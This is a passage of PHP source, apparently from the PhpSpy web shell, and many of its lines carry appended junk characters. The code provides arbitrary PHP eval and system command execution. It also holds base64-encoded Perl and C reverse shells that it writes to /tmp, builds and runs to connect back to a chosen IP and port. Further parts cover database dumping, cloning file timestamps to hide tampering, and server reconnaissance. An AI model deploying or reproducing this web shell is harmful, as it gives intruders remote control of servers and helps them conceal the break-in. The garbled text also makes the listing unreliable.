  1011.                                                                         p($multipage);4 y+ k/ @6 r7 P/ u
  1012.                                                                         break;        ( D" Y, K5 x# C; i
  1013.                                                                 case 2:5 K5 `. A# Z5 C+ a3 L! U/ n5 F
  1014.                                                                         $ar = mysql_affected_rows();
    3 r1 v) g. y" A
  1015.                                                                         p('<h2>affected rows : <b>'.$ar.'</b></h2>');8 _( h  `9 T4 E0 U; m7 f
  1016.                                                                         break;9 H; h5 y4 u) M& `
  1017.                                                         }7 H. S4 d# k+ H( j
  1018.                                                 }
    ( ]1 w9 x" O* O$ T
  1019.                                         }# Q3 T% P7 n& L0 X: R$ |; ?
  1020.                                 }
    $ D4 o# u* e" G
  1021.                         } else {+ A/ n9 a- G) h6 w+ z
  1022.                                 $query = q("SHOW TABLE STATUS");
    5 O3 m; ~, g- z7 O
  1023.                                 $table_num = $table_rows = $data_size = 0;, i  s* C- m9 g; u
  1024.                                 $tabledb = array();
    # S4 f$ P9 F2 C7 g
  1025.                                 while($table = mysql_fetch_array($query)) {
    4 l5 B7 i. A7 S8 D2 r3 z" n
  1026.                                         $data_size = $data_size + $table['Data_length'];
    3 G& l- c$ M  U+ P+ d
  1027.                                         $table_rows = $table_rows + $table['Rows'];/ L6 Z* h/ }$ Y, L, J
  1028.                                         $table['Data_length'] = sizecount($table['Data_length']);
    + V: s/ ]8 T# f2 k1 U2 z
  1029.                                         $table_num++;
    ) E3 Y% W, u( H/ b
  1030.                                         $tabledb[] = $table;
    ; {- _7 |: Y0 s$ d' N3 X
  1031.                                 }* b$ G8 i4 `3 T
  1032.                                 $data_size = sizecount($data_size);
    . L2 D$ t4 Z: [! I& X; L7 X; W; h
  1033.                                 unset($table);
    ; {5 f1 x* T; ~# C9 {+ |
  1034.                                 p('<table border="0" cellpadding="0" cellspacing="0">');& f1 T9 i. n- f4 G6 Q- M
  1035.                                 p('<form action="'.$self.'" method="POST">');
    + d3 q1 V1 T% m4 E
  1036.                                 makehide('action','sqladmin');+ w" b2 `) A% B: B3 I7 X
  1037.                                 p($dbform);
    % R" I( ^9 R- ?, j
  1038.                                 p('<tr class="head">');5 s1 W3 \* \# U3 l
  1039.                                 p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');! c+ T. y1 Q. J0 Q  M/ H
  1040.                                 p('<td>Name</td>');; g$ K" h6 B* V* b% a9 A) P; D
  1041.                                 p('<td>Rows</td>');
    ( X9 D3 k6 @1 l  E
  1042.                                 p('<td>Data_length</td>');
    4 e3 H- k" V8 y1 |  r" z
  1043.                                 p('<td>Create_time</td>');
    2 ~  V, H, J% f+ r0 A8 N% V! P* d
  1044.                                 p('<td>Update_time</td>');
    1 Y: ?$ z* n" L$ C
  1045.                                 if ($highver) {: Y1 o0 [1 M$ d2 h4 \* h
  1046.                                         p('<td>Engine</td>');
    & T2 n* z4 |# o' a/ D  x
  1047.                                         p('<td>Collation</td>');% r, d, x9 ?3 z
  1048.                                 }# _* e$ c7 v* X+ M3 Z
  1049.                                 p('</tr>');
    , P5 r8 ~2 n( ^' w" N% v
  1050.                                 foreach ($tabledb as $key => $table) {
    ! [+ T4 k% X6 V. a% K3 g4 w
  1051.                                         $thisbg = bg();
    ' Y  H/ o! C3 s6 d! L# \# @* M
  1052.                                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
    ( w0 j! x: g8 h* b2 w
  1053.                                         p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
    4 `. p1 M1 d1 b; A9 a+ D+ y( `
  1054.                                         p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
      {' j" g# U0 J5 @6 ^- X+ b; A
  1055.                                         p('<td>'.$table['Rows'].'</td>');8 y3 A4 E) p1 V- O- ^. k1 J) S
  1056.                                         p('<td>'.$table['Data_length'].'</td>');
    $ v/ }% j2 a1 }3 _* a1 E" w! j4 ~& M$ E
  1057.                                         p('<td>'.$table['Create_time'].'</td>');
    # Z; v- u3 Z7 g
  1058.                                         p('<td>'.$table['Update_time'].'</td>');, @- [! M* i3 _6 s( f* s: F
  1059.                                         if ($highver) {
    ( c2 m5 d4 W7 o# o' `2 G
  1060.                                                 p('<td>'.$table['Engine'].'</td>');
    ' M  T; d9 E! N1 |; ^5 D7 X
  1061.                                                 p('<td>'.$table['Collation'].'</td>');5 a9 `( ?( z3 I* K
  1062.                                         }& K, n2 Y0 S% j8 f+ s9 [) B# q
  1063.                                         p('</tr>');/ P$ r. g& C- u9 O  g3 q) M
  1064.                                 }
    & E' }* I6 B% O- c( a9 I
  1065.                                 p('<tr class='.bg().'>');8 e9 D8 ]* f$ \" b" n4 k3 Z
  1066.                                 p('<td> </td>');
    9 n! Q$ u/ O( y$ Z
  1067.                                 p('<td>Total tables: '.$table_num.'</td>');1 R" z4 c1 Y0 u8 p8 T
  1068.                                 p('<td>'.$table_rows.'</td>');! Z: `. O/ }: ^, c
  1069.                                 p('<td>'.$data_size.'</td>');$ ~+ }3 ~- p! {( X7 [
  1070.                                 p('<td colspan="'.($highver ? 4 : 2).'"> </td>');( G% @9 _6 C' M
  1071.                                 p('</tr>');. b! @4 A% R7 R. L
  1072.                                 p("<tr class="".bg().""><td colspan="".($highver ? 8 : 6).""><input name="saveasfile" value="1" type="checkbox" /> Save as file <input class="input" name="path" value="".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql" type="text" size="60" /> <input class="bt" type="submit" name="downrar" value="Export selection table" /></td></tr>");
    - o/ E  {6 ?9 B9 h
  1073.                                 makehide('doing','backupmysql');& ]+ g1 i7 `: b/ u6 z. w) `& \2 R
  1074.                                 formfoot();$ z5 j* B1 d3 c0 L; i" N" o
  1075.                                 p("</table>");
    7 \# q/ F1 n% Y" i# Y
  1076.                                 fr($query);
    / ~% c& h5 Y2 d5 q0 X1 [! d
  1077.                         }
    * b* d5 ~9 P8 \* m3 `; Y1 }0 j
  1078.                 }
    - v* `1 V$ ?3 b0 r3 u
  1079.         }
    $ z( F" D: {) g4 b6 Y( k
  1080.         tbfoot();
    : k+ G! c1 b: c! W
  1081.         @mysql_close();: d& L' L! u, |2 s& g4 b4 {
  1082. }//end sql backup+ S9 L* Q$ I% n$ m1 p$ h
  1083. elseif ($action == 'backconnect') {
    ' P+ z; ?2 s: \1 Z$ T
  1084.         !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];2 x- [' e5 I; L/ ~5 n$ O, v) h# B& o# H! l
  1085.         !$yourport && $yourport = '12345';" i9 f- K+ m1 F) m
  1086.         $usedb = array('perl'=>'perl','c'=>'c');- ~& x  u4 d& W- _! E
  1087.         $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".( n9 h3 g8 E2 z( O" h: q/ v
  1088.                 "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".3 ^& }/ s5 o6 O/ I- R; d0 J
  1089.                 "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
    * ~! S# c1 T" a9 S" p3 A0 F* ]) e' \
  1090.                 "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
    ; u/ z4 c0 B% U' _0 |
  1091.                 "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".% l( ~* \, E, |
  1092.                 "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".; W; r! N5 ?8 _8 I0 Y0 x
  1093.                 "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";: Y9 I/ R0 e2 f
  1094.         $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
    5 Q  }1 Y" h( C3 u: M7 R
  1095.                 "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
    ) n, k7 x7 g& Q7 r
  1096.                 "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".) G4 y3 {# h7 D; b$ R4 l
  1097.                 "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".( H! a4 ^& `$ [  g" S7 z
  1098.                 "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
    " |0 ?, i- A+ r: f- D/ r3 T- @4 L
  1099.                 "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
    ; R. D1 r1 q+ ]5 X1 v1 m
  1100.                 "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".! G5 z) [6 A' e' r- n! q% d( g9 P
  1101.                 "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";9 \9 p- w. `% b6 P4 x
  1102.         if ($start && $yourip && $yourport && $use){
    0 `: G; o5 ^( l/ ?, R5 H0 x
  1103.                 if ($use == 'perl') {
    8 w2 s' U; Q0 G5 G
  1104.                         cf('/tmp/angel_bc',$back_connect);' h$ |  U2 K3 ^6 g" a! e  o7 x
  1105.                         $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");
    : `2 q6 |. \" |
  1106.                 } else {. }$ ~( R3 K) b
  1107.                         cf('/tmp/angel_bc.c',$back_connect_c);" f$ K( s3 P( i
  1108.                         $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');( N. P! y7 V' _& y' `8 m
  1109.                         @unlink('/tmp/angel_bc.c');# p/ b! T: w% S5 Q) f8 K: r
  1110.                         $res = execute("/tmp/angel_bc $yourip $yourport &");1 x. k" p1 S% j1 V9 y: c9 c
  1111.                 }
    ! N  }: c# I% _' f! f) K0 V: f. J, R
  1112.                 m("Now script try connect to $yourip port $yourport ...");! n0 \% l- x1 b# @
  1113.         }
    * v7 ^) }9 ]& N
  1114.         formhead(array('title'=>'Back Connect'));
    4 b6 t5 R. X; a5 c8 q4 O) H
  1115.         makehide('action','backconnect');
    ' T8 _, W5 }  v
  1116.         p('<p>');- ?" [+ G+ }0 U7 ]7 ^- F5 S
  1117.         p('Your IP:');  k7 S& ^! e" q6 I8 J
  1118.         makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));3 G( y% X( A  _8 P8 @% O6 [
  1119.         p('Your Port:');+ l2 k  U  Z1 P* |
  1120.         makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));
    5 j) R, c: S& `% v4 f$ r
  1121.         p('Use:');3 I# _* w9 ]8 Y. o) d
  1122.         makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));& k; Y* I) g; L" H% {
  1123.         makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));% D3 s* ^/ }. |/ i: c% Y8 d9 D
  1124.         p('</p>');! q, B, l  P* V7 a6 `% w
  1125.         formfoot();) Z" L! V% p9 ]
  1126. }//end sql backup
    ' r3 t& D, m( o1 G) k
  1127. elseif ($action == 'eval') {" e. i1 t! A! q* a! Z: i, C. v
  1128.         $phpcode = trim($phpcode);) p0 J- n, W2 k; K$ G" ?
  1129.         if($phpcode){* c* T; a7 z6 h0 X  S% e: _. s% Z" f
  1130.                 if (!preg_match('#<\?#si', $phpcode)) {
    ) O) _1 ~  T+ j
  1131.                         $phpcode = "<?php\n\n{$phpcode}\n\n?>";' ^8 X7 U) T5 h, ~
  1132.                 }' f: V% |' i/ Q: D' s
  1133.                 eval("?".">$phpcode<?");/ w) d' G7 X# O. ?* x! K$ K
  1134.         }
    - [) M( [8 S& p3 b" w7 c. d
  1135.         formhead(array('title'=>'Eval PHP Code'));5 I! A+ K7 Z  c& E
  1136.         makehide('action','eval');
    8 w4 Z. D2 E, R& n3 x" L
  1137.         maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
    ! T7 ~! j! v% R! m& K3 z
  1138.         p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');# Y: Z  N) G/ T8 P
  1139.         formfooter();
    / x& A6 G0 B# D) g4 m
  1140. }//end eval9 n" u6 n" p+ L' ?, `: E

  1141. * J" O/ y: b6 q! ]3 C6 ^6 C5 C: C
  1142. elseif ($action == 'editfile') {* g7 }% P- B8 `, t, e( \+ U
  1143.         if(file_exists($opfile)) {
    5 m+ x, w+ I- {/ _, i# j/ x
  1144.                 $fp=@fopen($opfile,'r');
    " O- B& v* ?8 ^  v' l$ @% @
  1145.                 $contents=@fread($fp, filesize($opfile));$ i. n- k) z, e# l
  1146.                 @fclose($fp);% ^5 |5 L" a' M7 U5 O, T" M
  1147.                 $contents=htmlspecialchars($contents);5 \7 L) n4 Q) S7 B" j
  1148.         }
    & Z! v% C' z* w* a# v: z; E! a
  1149.         formhead(array('title'=>'Create / Edit File'));
    % X& t6 M$ D  i
  1150.         makehide('action','file');
    7 u# X+ V) S! o+ A# D
  1151.         makehide('dir',$nowpath);
    ' T7 b  T9 z4 }- K
  1152.         makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));, a7 \" f2 ^; H+ v; n
  1153.         maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
    ) ^; W4 E  q5 y# x; ~) I0 K
  1154.         formfooter();
    # W* J3 O0 ]8 T" X  u& r3 ?# e! [
  1155. }//end editfile
    7 u$ N+ X) D3 h& {' g
  1156. , X5 [6 E7 d0 Z6 W0 e
  1157. elseif ($action == 'newtime') {
    $ a9 r/ x, f3 y& x( f+ z
  1158.         $opfilemtime = @filemtime($opfile);
    , g" m, Q* l* ]
  1159.         //$time = strtotime("$year-$month-$day $hour:$minute:$second");' t1 J% A' q" w2 \  Q
  1160.         $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);0 Q) d7 p+ H% T/ t- d
  1161.         formhead(array('title'=>'Clone file was last modified time'));( M1 z& g0 e  u9 T0 p' [- ]  E7 d/ W
  1162.         makehide('action','file');1 A2 R/ n+ S7 ~$ ~* Q$ ^
  1163.         makehide('dir',$nowpath);
    % G# B$ w( T$ h+ K# e# A" s* h7 A8 O
  1164.         makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
      |  z4 S4 x- x5 w) b6 k% _
  1165.         makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));, J- [. U! x! g
  1166.         formfooter();7 {, c* {9 a+ r& Q
  1167.         formhead(array('title'=>'Set last modified'));
      Y/ {' v# }# z
  1168.         makehide('action','file');
    0 j7 t4 s$ y  R: |
  1169.         makehide('dir',$nowpath);0 K) O8 }" S  h4 E
  1170.         makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
    ' J; W' ?: S$ _# V4 a+ G
  1171.         p('<p>Instead »');% n' h# z- x% _1 \$ d# p2 \% w
  1172.         p('year:');
    9 E' l- _, Y. ^- k8 l! \) V. t4 C
  1173.         makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
    5 F5 a5 g+ `, q4 c* q+ f
  1174.         p('month:');
    1 s( D/ [( Z- B8 Y4 ^" G) G
  1175.         makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));) O3 a9 @  c: {; l8 u( e
  1176.         p('day:');
    4 u# F8 [& q+ D9 X" h9 L" x
  1177.         makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));, V7 Z. y3 W' T4 V$ [* n3 \
  1178.         p('hour:');
    & n9 D. }7 T! t( h! f' L  H! X
  1179.         makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));! N1 P1 B) r7 G4 A6 t; l
  1180.         p('minute:');: |0 _9 f. b8 u/ m% d0 U& s  e
  1181.         makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));% M5 Y1 H% `/ i
  1182.         p('second:');8 Y% t3 |& o7 R2 K% x- z
  1183.         makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
    " Q% j1 z' j' A8 E4 \/ V& A+ x8 u
  1184.         p('</p>');
    ( I2 h% G; h. s: C9 F
  1185.         formfooter();
    + P- c6 J: d$ j* }
  1186. }//end newtime3 f( A1 Q# C3 m! a" ~3 J
  1187. ! F9 _- Z$ J1 I! ?
  1188. elseif ($action == 'shell') {! d- C4 ^) c7 A- U: v+ t
  1189.         if (IS_WIN && IS_COM) {, s9 n/ U; _! r" z
  1190.                 if($program && $parameter) {
    * c% l) |3 ^  p( Y
  1191.                         $shell= new COM('Shell.Application');8 ]: Z. n% h, t, j
  1192.                         $a = $shell->ShellExecute($program,$parameter);
      U6 E7 h: I9 B2 r8 h. R
  1193.                         m('Program run has '.(!$a ? 'success' : 'fail'));
    4 z# I* @" Y; k4 S" q+ p% }" k/ ?
  1194.                 }5 }2 a2 D' U9 e( A, z3 D
  1195.                 !$program && $program = 'c:\windows\system32\cmd.exe';
    1 P/ Z: a0 v/ i" a/ v, f
  1196.                 !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';6 F0 f$ B* r/ y$ d
  1197.                 formhead(array('title'=>'Execute Program'));5 ?( R3 m2 J8 q
  1198.                 makehide('action','shell');
    9 ^7 v. }) ^, i! ?& j
  1199.                 makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));& a  z9 l/ m7 M( S
  1200.                 p('<p>');
    0 n# U5 k2 r2 u
  1201.                 makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));+ o6 B3 y& A! V, {
  1202.                 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
    ) W7 q$ C  X. k" Y" P2 `
  1203.                 p('</p>');
    8 T- B2 b" ?  Q1 B* J
  1204.                 formfoot();
    / P6 {. g, r! {- y5 ?
  1205.         }0 Q  f. L/ ]6 J+ x+ l
  1206.         formhead(array('title'=>'Execute Command'));
    0 Z" d( A$ Y, ]; T4 d5 h9 N
  1207.         makehide('action','shell');
    . r* g1 T1 }$ H. t2 @
  1208.         if (IS_WIN && IS_COM) {
    8 I- B( l. w$ ]8 A+ {) [0 F
  1209.                 $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');; Q6 w$ F4 j# c- \; a7 s5 q
  1210.                 makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
    ; P2 b/ V: S) X* D
  1211.         }
    1 o# ~0 S& I' J9 p( \6 p
  1212.         p('<p>');
    5 k& O: J8 B+ s/ U' P/ d' }, c
  1213.         makeinput(array('title'=>'Command','name'=>'command','value'=>$command));
    , c4 K/ v7 x) E# q5 B. n/ z2 H  d
  1214.         makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
    # [% Z5 x4 x' [' a. f. H* a, O* |
  1215.         p('</p>');
    & u- `& N0 ]4 N5 H1 \
  1216.         formfoot();
    ' m4 I' L" b# l) V4 e2 z. r

  1217. ; ^* j" _' E/ B9 o
  1218.         if ($command) {
    $ n+ D+ k) i8 Z3 R$ G
  1219.                 p('<hr width="100%" noshade /><pre>');+ c& O0 `8 w# X4 D
  1220.                 if ($execfunc=='wscript' && IS_WIN && IS_COM) {
    + }8 L. o% }; l$ d# J2 E6 J
  1221.                         $wsh = new COM('WScript.shell');
    8 ?5 w& o4 ]1 b3 Y+ a7 ]: A
  1222.                         $exec = $wsh->exec('cmd.exe /c '.$command);% p) B0 T' k5 P
  1223.                         $stdout = $exec->StdOut();
    7 j. n5 H: Z# R
  1224.                         $stroutput = $stdout->ReadAll();
    8 @; L+ Y& p, ~% E& o; }# {
  1225.                         echo $stroutput;# t' M  ^: F/ l; }
  1226.                 } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {# p0 f  }9 q" C7 I7 w4 j% |
  1227.                         $descriptorspec = array(
    1 y& g6 B: W3 ^- p! W( F! a$ F: v
  1228.                            0 => array('pipe', 'r'),
      I: J: q) i" E( ^+ _! k
  1229.                            1 => array('pipe', 'w'),7 P8 s$ W5 T4 `- N% i5 F8 c
  1230.                            2 => array('pipe', 'w')
    4 |4 Q5 V& v/ Y) t; k
  1231.                         );
    3 Q8 C' I" F7 S. o4 J
  1232.                         $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
      j" T8 i8 z5 {, C( P+ B- E
  1233.                         if (is_resource($process)) {
    % b4 i( i5 h/ d  G9 i% Q2 p
  1234.                                 fwrite($pipes[0], $command."\r\n");
    - |, x/ A( E: G* C  `
  1235.                                 fwrite($pipes[0], "exit\r\n");
    , s  J0 F# Z1 O4 z- P9 O
  1236.                                 fclose($pipes[0]);
      V. {& {8 t  \# e
  1237.                                 while (!feof($pipes[1])) {
    + l- g$ K0 s8 f0 B& S' S
  1238.                                         echo fgets($pipes[1], 1024);( ?5 b+ N+ ~1 x: ~) v: R" J
  1239.                                 }
    4 l4 c" R: J# s
  1240.                                 fclose($pipes[1]);7 {8 C& }: h  c, i
  1241.                                 while (!feof($pipes[2])) {
    9 M/ P5 ?* A1 {' d2 |6 x9 ~
  1242.                                         echo fgets($pipes[2], 1024);
    : L( r% q& @$ c& }1 L- u4 I# c
  1243.                                 }5 }& e% a' J  V
  1244.                                 fclose($pipes[2]);! @: f3 l" D* M9 X0 B; P* X
  1245.                                 proc_close($process);
    1 }$ q% {( n0 c* V
  1246.                         }! @# P9 b) f- B3 w' o$ g0 V
  1247.                 } else {
    ' v7 y- m! ]: R" H( X0 c1 b2 f
  1248.                         echo(execute($command));
    , A# u' t7 U7 s# n
  1249.                 }
    : n; q6 T2 K9 o3 u
  1250.                 p('</pre>');! @7 V/ y" n7 ^# a
  1251.         }3 ]" t& u7 t5 y  u
  1252. }//end shell
    6 t0 V3 f8 Y, `
  1253. + ~: g8 _! Q8 o
  1254. elseif ($action == 'phpenv') {
    - b$ k1 r* w: m2 z
  1255.         $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
    / r0 M  w% I% k* ~5 [9 c3 h+ C
  1256.         $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');% {( K6 \% [1 \
  1257.         !$dis_func && $dis_func = 'No';       
    0 q( Q6 t5 Z& l0 Y
  1258.         $info = array(
    6 R0 C% ^4 p3 f0 T, X
  1259.                 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
    & v2 h# ^$ y* T. Y  m6 ]
  1260.                 2 => array('Server Domain',$_SERVER['SERVER_NAME']),
    . u& W" \) H0 }/ C
  1261.                 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),+ p# U3 Y0 ]" @+ o; ?
  1262.                 4 => array('Server OS',PHP_OS),& _% E2 L) l0 g" M: g/ o7 ?
  1263.                 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
    2 U, J- n+ U4 e; H9 h8 M, n
  1264.                 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
    ( D4 X: y/ N9 f( g% L( A
  1265.                 7 => array('Server Web Port',$_SERVER['SERVER_PORT']),
    9 `; Z. e0 h* j: A/ N. d1 O
  1266.                 8 => array('PHP run mode',strtoupper(php_sapi_name())),# z5 Y- h& ^' g. V" N4 B3 i+ D
  1267.                 9 => array('The file path',__FILE__),! k3 ~: C4 y4 K3 Z5 Y
  1268. % P: ^4 n. i' h# H9 _# i# D
  1269.                 10 => array('PHP Version',PHP_VERSION),
    3 E( ]& Y3 d3 P! U7 Q  l6 h. R2 m
  1270.                 11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),: V/ \/ c/ i$ w2 X2 M2 b. ~8 ~4 U
  1271.                 12 => array('Safe Mode',getcfg('safe_mode')),
    + F; f4 @8 y3 k( I' h; u
  1272.                 13 => array('Administrator',$adminmail),; H' q; a, [7 d9 q+ w
  1273.                 14 => array('allow_url_fopen',getcfg('allow_url_fopen'))," ^: S% w+ g* F. y
  1274.                 15 => array('enable_dl',getcfg('enable_dl')),
    3 e2 @% `! P# E7 H& t
  1275.                 16 => array('display_errors',getcfg('display_errors')),2 O6 ^- \1 W3 ^1 n
  1276.                 17 => array('register_globals',getcfg('register_globals')),
    : x0 d% g4 \" r# ]9 ?
  1277.                 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),: }: I9 Z3 R9 ?* _+ t* R* s7 f) [, w
  1278.                 19 => array('memory_limit',getcfg('memory_limit')),8 r; M8 r+ u$ E. h" H& w
  1279.                 20 => array('post_max_size',getcfg('post_max_size')),9 Y- L3 f/ C& j1 S; i+ q) D% {
  1280.                 21 => array('upload_max_filesize',$upsize),
    ; Z- w( t) f8 `$ n8 n1 K  l9 v
  1281.                 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),$ c; a* `) d  M. [" H' J
  1282.                 23 => array('disable_functions',$dis_func),0 g3 R/ ?6 u: L9 @1 S$ k$ v! N- j+ q
  1283.         );: _- ^: G3 |3 g$ e) Q

  1284. : {; K& S8 i2 Q" A3 ^8 D9 d4 o
  1285.         if($phpvarname) {
    ( j8 s4 M% w, b' y* c
  1286.                 m($phpvarname .' : '.getcfg($phpvarname));3 }! h9 c. ~3 S& }* H6 X8 j! P
  1287.         }* _. o1 R3 N- N' E
  1288. 1 Z/ j4 G9 D* n: A
  1289.         formhead(array('title'=>'Server environment'));
    ! p' A6 B/ P0 N( A2 h0 f- A+ R
  1290.         makehide('action','phpenv');
    ; b+ D% b4 l0 d- _0 z
  1291.         makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));) N% i3 v/ ^4 H8 U
  1292.         formfooter();
    6 [+ u: v5 H7 {  h/ M$ P( I
  1293. ; [+ c5 U. M/ @+ Z  I+ V0 d7 W# u
  1294.         $hp = array(0=> 'Server', 1=> 'PHP');0 m9 ^% H0 n1 w" w# r/ j( R! n
  1295.         for($a=0;$a<2;$a++) {
    : a  J/ |5 b' G- Y: `8 [  d; T3 ?. w
  1296.                 p('<h2>'.$hp[$a].' »</h2>');
    1 [2 g% A. e& E& P8 i. g# q$ P, p* m
  1297.                 p('<ul class="info">');; D+ Y! E& k. B5 K' J3 \6 s. L
  1298.                 if ($a==0) {
    2 h3 ~" l- M* r. Q7 A! D
  1299.                         for($i=1;$i<=9;$i++) {7 ^: }8 v% ~  a; K  ], ~7 ^
  1300.                                 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
      v) a# ~: D7 D3 {) ~0 E& e
  1301.                         }7 D3 k- f* w( J2 E- c. n* y
  1302.                 } elseif ($a == 1) {) I5 |" N& @* P) a8 G' S
  1303.                         for($i=10;$i<=23;$i++) {
    ' d, d* O% e7 n3 M4 H; ^" X
  1304.                                 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
    9 G+ s, T$ D: l3 G2 y7 b8 q
  1305.                         }
    # r4 B: [9 ?: M: Q0 ~- o
  1306.                 }
    + z& Y7 U$ u, _% H' e3 a
  1307.                 p('</ul>');
    6 |! m. k2 r7 @; `
  1308.         }9 @! ~) ?+ w& n1 t3 T# F6 j
  1309. }//end phpenv! z9 D( k: o0 N7 i+ L2 C, }" ?

  1310. $ m+ A. D, W% {( a! e" b) W5 d- l3 ]
  1311. else {4 N" R/ K( _  A" }; R
  1312.         m('Undefined Action');
    0 t) C+ o! k$ A% Z% p
  1313. }
